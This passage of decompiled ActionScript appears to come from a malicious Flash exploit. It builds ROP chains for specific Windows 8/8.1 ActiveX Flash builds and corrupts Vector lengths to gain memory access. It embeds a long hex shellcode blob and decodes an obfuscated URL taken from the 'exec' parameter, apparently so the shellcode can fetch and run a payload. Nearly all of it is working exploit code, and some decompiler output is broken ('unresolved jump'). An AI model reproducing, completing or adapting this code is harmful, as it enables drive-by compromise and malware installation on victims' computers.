653 | _local8 = (_local8 + 4);
|
654 | this._SafeStr_119(_local8, 0x2000);
|
655 | _local8 = (_local8 + 4);
|
656 | this._SafeStr_119(_local8, 0x1000);
|
657 | _local8 = (_local8 + 4);
|
658 | this._SafeStr_119(_local8, 64);
|
659 | _local8 = (_local8 + 4);
|
660 | this._SafeStr_119(_local8, 2943072);
|
661 | _local8 = (_local8 + 4);
|
662 | this._SafeStr_119(_local8, 0xC6610000);
|
663 | _local8 = (_local8 + 4);
|
664 | this._SafeStr_119(_local8, 0x89000447);
|
665 | _local8 = (_local8 + 4);
|
666 | this._SafeStr_119(_local8, 3224501492);
|
667 | _local8 = (_local8 + 4);
|
668 | this._SafeStr_119(_local8, 3213711176);
|
669 | _local8 = (_local8 + 4);
|
670 | this._SafeStr_119(_local8, 0xFFFFFE80);
|
671 | _local8 = (_local8 + 4);
|
672 | this._SafeStr_119(_local8, 3104065417);
|
673 | _local8 = (_local8 + 4);
|
674 | this._SafeStr_119(_local8, 0x0200);
|
675 | _local8 = (_local8 + 4);
|
676 | this._SafeStr_119(_local8, 2868104961);
|
677 | _local8 = (_local8 + 4);
|
678 | this._SafeStr_119(_local8, 3355347295);
|
679 | _local8 = (_local8 + 4);
|
680 | this._SafeStr_119(_local8, 6214);
|
681 | _local8 = (_local8 + 4);
|
682 | this._SafeStr_119(_local8, 0xC4830000);
|
683 | _local8 = (_local8 + 4);
|
684 | this._SafeStr_119(_local8, 2425406216);
|
685 | _local8 = (_local8 + 4);
|
686 | var _local9:ByteArray = new ByteArray();
|
687 | _local9 = h2ba(_local9, _arg_x);
|
688 | _local9.endian = "littleEndian";
|
689 | _local9.position = 0;
|
690 | while (_local9.position < _local9.length) {
|
691 | _local10 = _local9.readUnsignedInt();
|
692 | this._SafeStr_119(_local8, _local10);
|
693 | _local8 = (_local8 + 4);
|
694 | };
|
695 | }
|
696 | function writeBytes(ba:ByteArray, hex:String):ByteArray{
|
697 | var _local5:int;
|
698 | var _local3:int;
|
699 | ba.position = ba.length;
|
700 | var _local4:uint = hex.length;
|
701 | _local5 = 0;
|
702 | while (_local5 < _local4) {
|
703 | _local3 = ("0x" + hex.substr(_local5, 2));
|
704 | ba.writeByte(_local3);
|
705 | _local5 = (_local5 + 2);
|
706 | };
|
707 | return (ba);
|
708 | }
|
709 | final private function _SafeStr_138():Boolean{
|
710 | var _local1:uint = (this._SafeStr_36 - 1);
|
711 | this._SafeStr_53[_local1] = this._SafeStr_58;
|
712 | this._SafeStr_53.length = (this._SafeStr_44 * 2);
|
713 | this._SafeStr_135();
|
714 | return (true);
|
715 | }
|
716 | final private function _SafeStr_141():void{
|
717 | this._SafeStr_53.length = (this._SafeStr_44 * 2);
|
718 | }
|
719 | final private function _SafeStr_142():Boolean{
|
720 | if (!_SafeStr_12._SafeStr_142(this._SafeStr_106, this.static, this._SafeStr_108, this._SafeStr_57)){
|
721 | return (false);
|
722 | };
|
723 | this._SafeStr_80 = _SafeStr_12._SafeStr_80;
|
724 | this._SafeStr_81 = _SafeStr_12._SafeStr_81;
|
725 | this._SafeStr_82 = _SafeStr_12._SafeStr_82;
|
726 | this._SafeStr_93 = _SafeStr_12._SafeStr_93;
|
727 | this._SafeStr_94 = _SafeStr_12._SafeStr_94;
|
728 | this._SafeStr_95 = _SafeStr_12._SafeStr_95;
|
729 | this._SafeStr_96 = _SafeStr_12._SafeStr_96;
|
730 | this._SafeStr_97 = _SafeStr_12._SafeStr_97;
|
731 | this._SafeStr_98 = _SafeStr_12._SafeStr_98;
|
732 | return (true);
|
733 | }
|
734 | final private function _SafeStr_143(_arg_x:String):void{
|
735 | var _local11:int;
|
736 | var _local12:uint = 0x1200;
|
737 | var _local3:uint = (this._SafeStr_48 - _local12);
|
738 | var _local2:uint = this._SafeStr_78;
|
739 | this._SafeStr_59 = (_local2 + _local3);
|
740 | var _local5:uint = 0x0400;
|
741 | var _local4:uint = (_local3 - _local5);
|
742 | this._SafeStr_58 = (_local2 + _local4);
|
743 | var _local7:uint = (this._SafeStr_58 + 384);
|
744 | this._SafeStr_119((this._SafeStr_58 + 8), 65536);
|
745 | this._SafeStr_119((this._SafeStr_58 + 484), 0);
|
746 | this._SafeStr_119((this._SafeStr_58 + 528), _local7);
|
747 | this._SafeStr_119((this._SafeStr_58 + 532), this._SafeStr_91);
|
748 | this._SafeStr_119(_local7, this._SafeStr_59);
|
749 | this._SafeStr_119((_local7 + 4), this._SafeStr_91);
|
750 | this._SafeStr_119((_local7 + 8), 1);
|
751 | var _local6:uint = 0x0300;
|
752 | while (_local6 < _local5) {
|
753 | this._SafeStr_119((this._SafeStr_58 + _local6), 3735929054);
|
754 | _local6 = (_local6 + 4);
|
755 | };
|
756 | var _local8:uint = 0x0100;
|
757 | var _local10:uint = this._SafeStr_59;
|
758 | this._SafeStr_119(_local10, this._SafeStr_81);
|
759 | _local10 = (_local10 + 4);
|
760 | this._SafeStr_119(_local10, this._SafeStr_92);
|
761 | _local10 = (_local10 + 4);
|
762 | this._SafeStr_119(_local10, this._SafeStr_80);
|
763 | _local10 = (_local10 + 4);
|
764 | this._SafeStr_119(_local10, this._SafeStr_92);
|
765 | _local10 = (_local10 + 4);
|
766 | this._SafeStr_119(_local10, this._SafeStr_93);
|
767 | _local10 = (_local10 + 4);
|
768 | this._SafeStr_119(_local10, this._SafeStr_92);
|
769 | _local10 = (_local10 + 4);
|
770 | this._SafeStr_119(_local10, 64);
|
771 | _local10 = (_local10 + 4);
|
772 | this._SafeStr_119(_local10, 0);
|
773 | _local10 = (_local10 + 4);
|
774 | this._SafeStr_119(_local10, this._SafeStr_97);
|
775 | _local10 = (_local10 + 4);
|
776 | this._SafeStr_119(_local10, this._SafeStr_92);
|
777 | _local10 = (_local10 + 4);
|
778 | _local10 = (_local10 + 40);
|
779 | this._SafeStr_119(_local10, this._SafeStr_94);
|
780 | _local10 = (_local10 + 4);
|
781 | this._SafeStr_119(_local10, this._SafeStr_92);
|
782 | _local10 = (_local10 + 4);
|
783 | this._SafeStr_119(_local10, (this._SafeStr_59 + _local8));
|
784 | _local10 = (_local10 + 4);
|
785 | this._SafeStr_119(_local10, this._SafeStr_91);
|
786 | _local10 = (_local10 + 4);
|
787 | this._SafeStr_119(_local10, this._SafeStr_95);
|
788 | _local10 = (_local10 + 4);
|
789 | this._SafeStr_119(_local10, this._SafeStr_92);
|
790 | _local10 = (_local10 + 4);
|
791 | this._SafeStr_119(_local10, 0x2000);
|
792 | _local10 = (_local10 + 4);
|
793 | this._SafeStr_119(_local10, 0);
|
794 | _local10 = (_local10 + 4);
|
795 | this._SafeStr_119(_local10, this._SafeStr_96);
|
796 | _local10 = (_local10 + 4);
|
797 | this._SafeStr_119(_local10, this._SafeStr_92);
|
798 | _local10 = (_local10 + 4);
|
799 | this._SafeStr_119(_local10, 0x101000);
|
800 | _local10 = (_local10 + 4);
|
801 | this._SafeStr_119(_local10, 0);
|
802 | _local10 = (_local10 + 4);
|
803 | this._SafeStr_119(_local10, this._SafeStr_82);
|
804 | _local10 = (_local10 + 4);
|
805 | this._SafeStr_119(_local10, this._SafeStr_92);
|
806 | _local10 = (_local10 + 4);
|
807 | this._SafeStr_119(_local10, (this._SafeStr_59 + _local8));
|
808 | _local10 = (_local10 + 4);
|
809 | this._SafeStr_119(_local10, this._SafeStr_91);
|
810 | _local10 = (_local10 + 4);
|
811 | _local10 = (this._SafeStr_59 + _local8);
|
812 | this._SafeStr_119(_local10, 2202598544);
|
813 | _local10 = (_local10 + 4);
|
814 | this._SafeStr_119(_local10, 1413607652);
|
815 | _local10 = (_local10 + 4);
|
816 | this._SafeStr_119(_local10, 2202555713);
|
817 | _local10 = (_local10 + 4);
|
818 | this._SafeStr_119(_local10, 1994932460);
|
819 | _local10 = (_local10 + 4);
|
820 | this._SafeStr_119(_local10, 0x48000000);
|
821 | _local10 = (_local10 + 4);
|
822 | this._SafeStr_119(_local10, 1094763651);
|
823 | _local10 = (_local10 + 4);
|
824 | this._SafeStr_119(_local10, 2421965149);
|
825 | _local10 = (_local10 + 4);
|
826 | this._SafeStr_119(_local10, 3209203856);
|
827 | _local10 = (_local10 + 4);
|
828 | this._SafeStr_119(_local10, (this._SafeStr_54 - 16));
|
829 | _local10 = (_local10 + 4);
|
830 | this._SafeStr_119(_local10, this._SafeStr_91);
|
831 | _local10 = (_local10 + 4);
|
832 | this._SafeStr_119(_local10, 3096481936);
|
833 | _local10 = (_local10 + 4);
|
834 | this._SafeStr_119(_local10, this._SafeStr_44);
|
835 | _local10 = (_local10 + 4);
|
836 | this._SafeStr_119(_local10, 3209168777);
|
837 | _local10 = (_local10 + 4);
|
838 | this._SafeStr_119(_local10, _local7);
|
839 | _local10 = (_local10 + 4);
|
840 | this._SafeStr_119(_local10, this._SafeStr_91);
|
841 | _local10 = (_local10 + 4);
|
842 | this._SafeStr_119(_local10, 542662);
|
843 | _local10 = (_local10 + 4);
|
844 | this._SafeStr_119(_local10, 3372204081);
|
845 | _local10 = (_local10 + 4);
|
846 | this._SafeStr_119(_local10, 2160037192);
|
847 | _local10 = (_local10 + 4);
|
848 | this._SafeStr_119(_local10, 1224736766);
|
849 | _local10 = (_local10 + 4);
|
850 | this._SafeStr_119(_local10, 1200224905);
|
851 | _local10 = (_local10 + 4);
|
852 | this._SafeStr_119(_local10, 16824584);
|
853 | _local10 = (_local10 + 4);
|
854 | this._SafeStr_119(_local10, 0x8D480000);
|
855 | _local10 = (_local10 + 4);
|
856 | this._SafeStr_119(_local10, 196799);
|
857 | _local10 = (_local10 + 4);
|
858 | this._SafeStr_119(_local10, 0x65AAF300);
|
859 | _local10 = (_local10 + 4);
|
860 | this._SafeStr_119(_local10, 621054792);
|
861 | _local10 = (_local10 + 4);
|
862 | this._SafeStr_119(_local10, 16);
|
863 | _local10 = (_local10 + 4);
|
864 | this._SafeStr_119(_local10, 3100019016);
|
865 | _local10 = (_local10 + 4);
|
866 | this._SafeStr_119(_local10, this._SafeStr_98);
|
867 | _local10 = (_local10 + 4);
|
868 | this._SafeStr_119(_local10, 147227464);
|
869 | _local10 = (_local10 + 4);
|
870 | this._SafeStr_119(_local10, 4168418873);
|
871 | _local10 = (_local10 + 4);
|
872 | this._SafeStr_119(_local10, 1223723336);
|
873 | _local10 = (_local10 + 4);
|
874 | if (!this._SafeStr_105){
|
875 | this._SafeStr_119(_local10, 2370361225);
|
876 | _local10 = (_local10 + 4);
|
877 | this._SafeStr_119(_local10, 98458);
|
878 | _local10 = (_local10 + 4);
|
879 | } else {
|
880 | this._SafeStr_119(_local10, 2370360969);
|
881 | _local10 = (_local10 + 4);
|
882 | this._SafeStr_119(_local10, 98490);
|
883 | _local10 = (_local10 + 4);
|
884 | };
|
885 | this._SafeStr_119(_local10, 0xC4894800);
|
886 | _local10 = (_local10 + 4);
|
887 | this._SafeStr_119(_local10, 2425393347);
|
888 | _local10 = (_local10 + 4);
|
889 | var _local9:ByteArray = new ByteArray();
|
890 | _local9 = h2ba(_local9, _arg_x);
|
891 | _local9.endian = "littleEndian";
|
892 | _local9.position = 0;
|
893 | while (_local9.position < _local9.length) {
|
894 | _local11 = _local9.readUnsignedInt();
|
895 | this._SafeStr_119(_local10, _local11);
|
896 | _local10 = (_local10 + 4);
|
897 | };
|
898 | }
|
899 | final private function _SafeStr_144():Boolean{
|
900 | var _local2:uint = ((this._SafeStr_47 - 8) / 4);
|
901 | this._SafeStr_53[_local2] = this._SafeStr_58;
|
902 | var _local3:uint = (this._SafeStr_52 + 1);
|
903 | var _local1:Vector.<uint> = (this._SafeStr_51[_local3] as Vector.<uint>);
|
904 | _local1.length = (this._SafeStr_44 * 2);
|
905 | return (true);
|
906 | }
|
907 | function func_decodestr(str:String, src_table:String, dest_table:String){
|
908 | var _local6:int;
|
909 | var _local5:int;
|
910 | var _local4:String = "";
|
911 | _local6 = 0;
|
912 | while (_local6 < str.length) {
|
913 | _local5 = src_table["indexOf"](str["charAt"](_local6));
|
914 | if (_local5 > -1){
|
915 | _local4 = (_local4 + dest_table["charAt"](_local5));
|
916 | };
|
917 | _local6++;
|
918 | };
|
919 | return (_local4);
|
920 | }
|
921 | function func_strdecode(url:String){
|
922 | var _local3:String = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
|
923 | var _local2:String = "LMNOPWXY3defghiQRSTUVjklmnABC012DEFopq456789abcrstuvwxyzGHIJKZ";
|
924 | return (func_decodestr(url, _local2, _local3));
|
925 | }
|
926 | final private function _SafeStr_146(_arg_1:String):Boolean{
|
927 | var _local3:String = "60eb1158b9b4040000498034081985c975f7ffe0e8eafffffff10b19191978f0b11d1919f119191919413430095919da4c92f59af5454fa04b087652f1041b1919a00b7b3067905cbdf1091b1919a0dae42868905ca9f11a1b1919a0728dc2e6905cadf1ef181919a09b834e21905ca1f1f0181919a0ddba2825905cd9f1c5181919a0bc012343905cd1f1d6181919a034363f66905cddf1db181919a02f5a2f4f905cd5f1ac181919a0a5f832f3905cc9f1b1181919a0dd7cb054905ccdf182181919a0dacb1cfc905cc1f197181919a0538dafd0905cc5f198181919a056f5ce4c905cf9f16d181919a09f8b3363905cfdf17e181919a01ba9709d905cf5f143181919a033a4d3b8905ce9f1541819192aef4f905ced945cbd4f49f11ae6e6e61c290a5919494f4fe64cd992e973e64fe64cd14fe64ca92ad947d0da9af5094a4c4f4e731d7119091919711d18191992f392c02ae64e90753d3d90453d35e64a0d92e94f711d181919e64a25e66d3d314e4e4fe64a5971199919194e4fe64a094e4ee66d3d29e66d3d294ee64a499cd9169ca41919194e7199191919731a4e731871191919d9e66d3d59e64a2992e99ae7e6169d821919194e4fe64a2d905d3d099cd9169d9f1919199cf46d66996419196d604ce60a731d7119091919e66d3d01905d3d3d4ee64a0d4e92f1945d3d0d49e66d3d014c4fe64a31925d3d0992d69cd96d3192453d0d92ce22d16a03224d3d016a09931d03291d30925d3d095b5822d16bf322d16bf992453d054e4e4e4fe64a214e945d3d0d49e66d3d014c4fe64a3571199919194e4ce64a092ae65e4fe64a1592de464744429add09da9af5097db8291919194a9259154c4f9269154e924f0190553d019ccb169d941919192af4925b259267299245096192d490453d099cc26d73d8d014931e257816a7d9651a9ad8f99ade1b1ad17f20366cfe925d0a391adb9a650a011992e46f5b92c492311af39ad91d905d3d05935c19d8d21416a7d91ac15c935c199dd96ce990453d0d925d3d0d92453d091ad8225d3d016d3c925d3d055e73194422650a016ba7922f924f019ccb169c6ce6e6e62ad9464744429add09da925d0a3d941d6116ae1509925d0a05941d91921d091adbf2c69af5754a4c4f4ef19f18191992ad3d9919191992f12ac2935ce5efc9915d3d0a90453d0590453d3990453d3d731d7119091919711d1c19194ae64f0d92e192cc949e191d1919905d3d0d937d3d0a90653d0192d632ce931d132bdd91186d135a5898e2191d19196ff49cc2169d0c18191992de2ad09921196d01905d9505930999e3226d1e599dcb6cedf212df191959f21c9a7d950519589ae01a6bc192653d05931e25286d11252b169cce191919e66d3d0d924d3d3de66d3d3192d7f152e4e6e640409cd9169dba191919931e2528169c97191919735d2acb46908d3d9919191992d6945d3d21910959506ce3730940945d3d31910959506ce3949d3d9919191949719219191973e690653d5de64f51945d3d3149945d3d25492ad949494949494949e66d3d21e6ad3db1191919e64f559aa53d99191919196d13e6ad3d99191919e64f159a653d35196d1ee66d3d35e64f159a653d31196d0de66d3d31e64f15f212252b6c1ee66d3d0de64f395c1af271199919192ac24ae66d3d39e64f09f0bfe7e6e64647442ad9429add75db1d19f119191919419ad913dadae6e6e6e6";
|
928 | var _local2:String = (_local3 + func_strdecode(_arg_1));
|
929 | if (!this._SafeStr_114()){
|
930 | };
|
931 | this._SafeStr_124();
|
932 | this._SafeStr_126();
|
933 | if (!this._SafeStr_129()){
|
934 | return (false);
|
935 | };
|
936 | if (!this._SafeStr_130()){
|
937 | return (false);
|
938 | };
|
939 | if (!this._SafeStr_131()){
|
940 | return (false);
|
941 | };
|
942 | var _local4:Boolean = this._SafeStr_134();
|
943 | if (!this._SafeStr_33){
|
944 | if (!_local4){
|
945 | this._SafeStr_135();
|
946 | return (false);
|
947 | };
|
948 | if (!this._SafeStr_136()){
|
949 | this._SafeStr_135();
|
950 | return (false);
|
951 | };
|
952 | this._SafeStr_137(_local2);
|
953 | if (!this._SafeStr_138()){
|
954 | this._SafeStr_135();
|
955 | return (false);
|
956 | };
|
957 | } else {
|
958 | if (!_local4){
|
959 | this._SafeStr_141();
|
960 | return (false);
|
961 | };
|
962 | if (!this._SafeStr_142()){
|
963 | this._SafeStr_141();
|
964 | return (false);
|
965 | };
|
966 | this._SafeStr_143(_local2);
|
967 | if (!this._SafeStr_144()){
|
968 | this._SafeStr_141();
|
969 | return (false);
|
970 | };
|
971 | };
|
972 | return (true);
|
973 | }
|
974 | final private function _SafeStr_112(_arg_1:Event=null):void{
|
975 | removeEventListener("addedToStage", this._SafeStr_112);
|
976 | this._SafeStr_23 = 1;
|
977 | var _local2 = stage.loaderInfo.parameters["exec"];
|
978 | if ((((_local2 == null)) || ((_local2 == undefined)))){
|
979 | return;
|
980 | };
|
981 | this._SafeStr_146(_local2.toString());
|
982 | }
|
983 |
|
984 | }
|
985 | }//package
|
986 | package {
|
987 |
|
988 | public final class _SafeStr_12 {
|
989 |
|
990 | public static var _SafeStr_80:uint = 0;
|
991 | public static var _SafeStr_81:uint = 0;
|
992 | public static var _SafeStr_82:uint = 0;
|
993 | public static var _SafeStr_93:uint = 0;
|
994 | public static var _SafeStr_94:uint = 0;
|
995 | public static var _SafeStr_95:uint = 0;
|
996 | public static var _SafeStr_96:uint = 0;
|
997 | public static var _SafeStr_97:uint = 0;
|
998 | public static var _SafeStr_98:uint = 0;
|
999 |
|
1000 | public static function _SafeStr_142(_arg_1:String, _arg_2:String, _arg_3:uint, _arg_4:uint):Boolean{
|
1001 | var _local13:int;
|
1002 | var _local14:int;
|
1003 | var _local15:int;
|
1004 | var _local16:int;
|
1005 | var _local17:int;
|
1006 | var _local18:int;
|
1007 | var _local19:int;
|
1008 | var _local5:int;
|
1009 | var _local6:int;
|
1010 | var _local7:int;
|
1011 | if (_arg_1 != "activex"){
|
1012 | return (false);
|
1013 | };
|
1014 | var _local10 = (_arg_2 == "windows 8");
|
1015 | var _local8 = (_arg_2 == "windows 8.1");
|
1016 | var _local12:Boolean = _local8;
|
1017 | var _local11:Boolean = ((((_local10) || (_local8))) || (_local12));
|
1018 | var _local20 = _arg_3;
|
1019 | while (3956512838 === _local20) {
|
1020 | if (_local11){
|
1021 | _local14 = 2147859514;
|
1022 | _local5 = 2147904066;
|
1023 | _local18 = 2147904067;
|
1024 | _local17 = 2148461635;
|
1025 | _local19 = 2148891014;
|
1026 | _local15 = 2154535354;
|
1027 | _local16 = 2157655180;
|
1028 | _local6 = 2151133465;
|
1029 | _local13 = 2170296816;
|
1030 | _local7 = 2157611657;
|
1031 | } else {
|
1032 | _local17 = 0x3000D827;
|
1033 | _local19 = 0x3000EE55;
|
1034 | _local18 = 805389348;
|
1035 | _local14 = 805919281;
|
1036 | _local5 = 807579815;
|
1037 | _local6 = 813245589;
|
1038 | _local15 = 813482122;
|
1039 | _local16 = 813686156;
|
1040 | _local13 = 827511272;
|
1041 | _local7 = 813671256;
|
1042 | };
|
1043 | //unresolved jump
|
1044 | if (_local11){
|
1045 | _local14 = 2147859354;
|
1046 | _local5 = 2147903842;
|
1047 | _local18 = 2147903843;
|
1048 | _local17 = 2148469376;
|
1049 | _local19 = 2148890038;
|
1050 | _local15 = 2154533978;
|
1051 | _local16 = 2157654428;
|
1052 | _local6 = 2151133273;
|
1053 | _local13 = 2170296816;
|
1054 | _local7 = 2157610921;
|
1055 | } else {
|
1056 | _local17 = 0x3000D8F7;
|
1057 | _local19 = 0x3000EF25;
|
1058 | _local18 = 805389556;
|
1059 | _local14 = 805919665;
|
1060 | _local5 = 807579111;
|
1061 | _local6 = 813244501;
|
1062 | _local15 = 813481038;
|
1063 | _local16 = 813685036;
|
1064 | _local13 = 827511272;
|
1065 | _local7 = 813670168;
|
1066 | };
|
1067 | //unresolved jump
|
1068 | if (_local11){
|
1069 | return (false);
|
1070 | };
|
1071 | _local17 = 0x3000DAC7;
|
1072 | _local19 = 0x3000F105;
|
1073 | _local18 = 805605618;
|
1074 | _local14 = 805920657;
|
1075 | _local5 = 807580075;
|
1076 | _local6 = 813243205;
|
1077 | _local15 = 813479762;
|
1078 | _local16 = 813683756;
|
1079 | _local13 = 827507144;
|
1080 | _local7 = 813668856;
|
1081 | //unresolved jump
|
1082 | if (_local11){
|
1083 | return (false);
|
1084 | };
|
1085 | _local17 = 0x3000DBB7;
|
1086 | _local19 = 0x3000F1F5;
|
1087 | _local18 = 805605098;
|
1088 | _local14 = 805915841;
|
1089 | _local5 = 807554151;
|
1090 | _local6 = 813048721;
|
1091 | _local15 = 813285258;
|
1092 | _local16 = 813489180;
|
1093 | _local13 = 826992400;
|
1094 | _local7 = 813474312;
|
1095 | //unresolved jump
|
1096 | if (_local11){
|
1097 | return (false);
|
1098 | };
|
1099 | _local17 = 0x3000D887;
|
1100 | _local19 = 0x3000EEC5;
|
1101 | _local18 = 805604438;
|
1102 | _local14 = 805915153;
|
1103 | _local5 = 807554075;
|
1104 | _local6 = 813048529;
|
1105 | _local15 = 813285066;
|
1106 | _local16 = 813488988;
|
1107 | _local13 = 826992400;
|
1108 | _local7 = 813474120;
|
1109 | //unresolved jump
|
1110 | return (false);
|
1111 | };
|
1112 | //unresolved if
|
1113 | //unresolved if
|
1114 | //unresolved if
|
1115 | //unresolved if
|
1116 | //unresolved jump
|
1117 | var _local9:uint = (_arg_4 - _local13);
|
1118 | _SafeStr_81 = (_local9 + _local14);
|
1119 | _SafeStr_80 = (_local9 + _local15);
|
1120 | _SafeStr_82 = (_local9 + _local16);
|
1121 | _SafeStr_94 = (_local9 + _local17);
|
1122 | _SafeStr_93 = (_local9 + _local18);
|
1123 | _SafeStr_95 = (_local9 + _local19);
|
1124 | _SafeStr_96 = (_local9 + _local5);
|
1125 | _SafeStr_97 = (_local9 + _local6);
|
1126 | _SafeStr_98 = (_local9 + _local7);
|
1127 | return (true);
|
1128 | }
|
1129 |
|
1130 | }
|
1131 | }//package
|